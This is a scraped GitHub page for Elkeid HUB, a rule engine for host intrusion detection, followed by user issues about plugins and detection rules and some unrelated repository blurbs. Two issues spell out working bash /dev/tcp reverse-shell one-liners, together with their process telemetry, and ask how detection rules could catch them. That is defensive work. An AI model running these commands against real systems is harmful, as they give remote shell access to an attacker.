Elkeid HUB - A rule/event processing engine maintained by the Elkeid Team that supports streaming/offline data processing

Overview

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/etc. raw data, TPS ninety million/s. HUB scheduling instance 4000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Getting Started

Elkeid-HUB Quick Start

Elkeid-HUB Demo(Chinese version only)

Elkeid HUB Handbook (chinese only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project(Just Example)

Elkeid Project

(Need to use with Elkeid)

Community Version

  • Does not support cluster mode, only supports single node.
  • No front-end support, no data visualization capabilities, no front-end management capabilities.
  • Rule/RuleSet/Project Debug capabilities are not supported.
  • WorkSpace is not supported, user management is not supported.
  • No operation and maintenance management capabilities.

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

Comments
  • 执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout,没有该文件 image

    opened by crazyydevil 11
  • CUSTOM_ALLDATA 类型调用插件未生效

    CUSTOM_ALLDATA 类型调用插件未生效

    规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

        <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
            <rule_name>pipe_shell_custom_detect</rule_name>
            <alert_data>True</alert_data>
            <harm_level>high</harm_level>
            <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
            <filter part="data_type">59</filter>
            <check_list>
                <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                    <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
                </check_node> -->
                <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
            </check_list>
            <node_designate></node_designate>
            <del />
            <modify></modify>
            <action />
            <append type="static" append_field_name="alert_type_us">persistent</append>
            <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
        </rule>
    

    【DetectTTY】插件代码

    from ast import Try
    import json
    
    class Plugin(object):
    
        def __init__(self):
            self.name = None
            self.type = None
            self.log = None
            self.redis = None
    
        def plugin_exec(self, arg, config):
            self.log.info(arg)
            result = dict()
            try:
                data = json.loads(arg)
                tty = data['tty']
                new_tty = tty[:3]+'/'+tty[3:]
                if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                    result["flag"] = False
                    result["msg"] = arg
                    self.log.info('false')
                else:
                    result["flag"] = True
                    result["msg"] = arg
                    self.log.info('true')
            except Exception as e:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('exce')
                return  result
    

    目录【DetectTTY/elkeid.txt】的内容

    [[email protected] DetectTTY]# cat elkeid.txt 
    [plugin]
    name = DetectTTY
    type = Custom
    description = tty
    runtime = Python
    author = mg
    

    执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

    Wa8ievVkAc

    m55BhBUzNs

    opened by 0xlwoe21k 6
  • python插件进程未知原因挂了

    python插件进程未知原因挂了

    我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

    告警 -> 邮件 告警 -> 钉钉

    个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

    麻烦官方看看。

    错误如下:

    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
        sleep()
      File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
        waiter.get()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
        return self.hub.switch()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
        return _greenlet_switch(self) # pylint:disable=undefined-variable
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
        return self.__switch('switch', (args, kwds))
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
        args, kwds = unbound_method(current, *baseargs, to=target)
      File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
        result = self._run(*self.args, **self.kwargs)
      File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
        zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
      File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
        IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
      File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
        exit(0)
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
        raise SystemExit(code)
    SystemExit: 0
    2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit
    
    opened by 0xlwoe21k 2
  • cat 反弹shell规则的判断

    cat 反弹shell规则的判断

    exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

    { "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

    这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    麻烦评估下这个 规则改动,

    https://github.com/bytedance/Elkeid-HUB/pull/4

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 0
  • plugin存在的问题

    plugin存在的问题

    在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容:

    class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None
    
    def plugin_exec(self, arg, config):
        self.log.info(arg)
        self.log.info(config)
        arg=json.dumps(arg,indent=2) 
        result = dict()
        headers = {
            'Content-Type': 'application/json ',
            'charset':'utf-8',
        } 
        data = {
            "app_id": app_id,
            "app_secret": app_secret,
        }
        data=json.dumps(data,indent=2)    
        response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
        self.log.info(response.json())
        token=response.json()['tenant_access_token']
        headers = {
            'Authorization': 'Bearer '+token,
            'Content-Type': 'application/json; charset=utf-8',
        }   
        data = {
            "open_chat_id":config["id"],
            "msg_type":"text",
            "content":{
                "text":arg,
            }       
        }
        data=json.dumps(data,indent=2) 
        self.log.info(data)
        response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
        self.log.info(response.json())
        result["done"] = True
        return result
    

    自己创建了一个plugin,名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

    然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

    最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。 image

    opened by gdianq 1
Owner
Bytedance Inc.
Bytedance Inc.
🤖 The bot that runs the official Fairfield Programming Association Discord server.

🤖 The bot that runs the official Fairfield Programming Association Discord server.

Fairfield Programming Association 1 Jan 07, 2022
Bot for mirroring one or multiple Twitter accounts in Pleroma/Mastodon.

Stork (pleroma-bot) Mirror one or multiple Twitter accounts in Pleroma/Mastodon. Introduction After using the pretty cool mastodon-bot for a while, I

73 Jan 08, 2023
Python Client for Yandex Cloud Logging

Python Client for Yandex Cloud Logging Installation pip3 install python-yandex-cloud-logging Creating a Yandex Cloud Logging Group yc logging group c

MCode 0 Dec 08, 2021
Secure Tunnel Manager

Making life easy of those who are in need of OpenSource alternative of AWS Secure Tunnel.

Suyash Chavan 1 Sep 27, 2022
Telegram bot that let's you flip a coin in a dialog

coin_flip Telegram bot that let's you flip a coin in a dialog Report issue · Request feature About Software development tool that lets you finally dec

Ivan Akostelov 2 Dec 12, 2021
Telegram music & video bot direct play music

⚡ NOINOI MUSIC PLAYER 🎵 SUPERFAST MUSIC BOT WHO CAN DIRECT PLAY SONG ON TELEGRAM VOICE CHAT ALSO CAN PLAY VIDEO ON VOICE CHATS ✨ Heroku Deploy YOU CA

noinoi-X 1 Dec 28, 2021
A Really Simple and Advanced Google Colab NoteBook to Setup and start using Rclone on Google Colab easily.

Rclone on Google Colab (Advanced!) 🔥 1.Setup and Start using Rclone on Google Colab and Create/Edit/View and delete your Rclone config file and keep

Dr.Caduceus 14 May 24, 2022
An advanced QR Code telegram bot with more features.

QR Code Bot A telegram qr code encode and decode bot Advanced Features 1. Database ( MongoDB ) Support 2. Broadcast Support 3. Status Command 4. Setti

Fayas Noushad 16 Nov 12, 2022
A link shortner telegram bot version 2 with advanced features

URL-Shortner-Bot-V2 A link shortner telegram bot version 2 with advanced features Made with Python3 (C) @FayasNoushad Copyright permission under MIT L

Fayas Noushad 18 Dec 29, 2022
The elegance of Airflow + the power of AWS

Orkestra The elegance of Airflow + the power of AWS

Stephan Fitzpatrick 42 Nov 01, 2022
A GETTR API client written in Python.

GUTTR A GETTR client library written in Python. I rushed to get this out so it's a bit janky. Open an issue if something is broken or missing. Getting

Roger Johnston 13 Nov 23, 2022
ANKIT-OS/STYLISH-TEXT is a special repository. Its Is A Telegram Bot Which Can Translate Your Text Into 100+ Language

🔥 ᴳᴼᴼᴳᴸᴱ⁻ᵀᴿᴬᴺᔆᴸᴬᵀᴱᴿ 🔥 The owner would not be responsible for any kind of bans due to the bot. • ⚡ INSTALLING ⚡ • • 🛠️ Lᴀɴɢᴜᴀɢᴇs Aɴᴅ Tᴏᴏʟs 🔰 • If

ANKIT KUMAR 1 Dec 23, 2021
Music bot because Octave is down and I can : )

Chords On a mission to build the best Discord Music Bot View Demo · Report Bug · Request Feature Table of Contents About The Project Built With Gettin

Aman Prakash Jha 53 Jan 07, 2023
Stock Market Insights is a Dashboard that gives the 360 degree view of the particular company stock

fedora-easyfix A collection of self-contained and well-documented issues for newcomers to start contributing with How to setup the local development e

Ganesh N 3 Sep 10, 2021
Asad Alexa VC Bot Is A Telegram Bot Project That's Allow You To Play Audio And Video Music On Telegram Voice Chat Group.

Asad Alexa VC Bot Is A Telegram Bot Project That's Allow You To Play Audio And Video Music On Telegram Voice Chat Group.

Dr Asad Ali 6 Jun 20, 2022
`python-jamf` is a library for connecting to a Jamf Server that maps directly to the Jamf Pro Classic API.

`python-jamf` is a library for connecting to a Jamf Server that maps directly to the Jamf Pro Classic API. It is the basis for the `jctl` tool to automate patch management & packages and many other i

University of Utah, Marriott Library, Apple Support 38 Dec 13, 2022
Scrape the Twitter Frontend API without authentication.

Twitter Scraper 🇰🇷 Read Korean Version Twitter's API is annoying to work with, and has lots of limitations — luckily their frontend (JavaScript) has

Buğra İşgüzar 3.4k Jan 08, 2023
Financial portfolio optimisation in python, including classical efficient frontier, Black-Litterman, Hierarchical Risk Parity

PyPortfolioOpt has recently been published in the Journal of Open Source Software 🎉 PyPortfolioOpt is a library that implements portfolio optimizatio

Robert Martin 3.2k Jan 02, 2023
A very tiny python api for the stock exchange tradegate.de

pytradegate A very tiny python api for the stock exchange tradegate.de The api provides the recent ask/bid data and all other data as found on the det

dunderstr aka seimen 7 Aug 24, 2022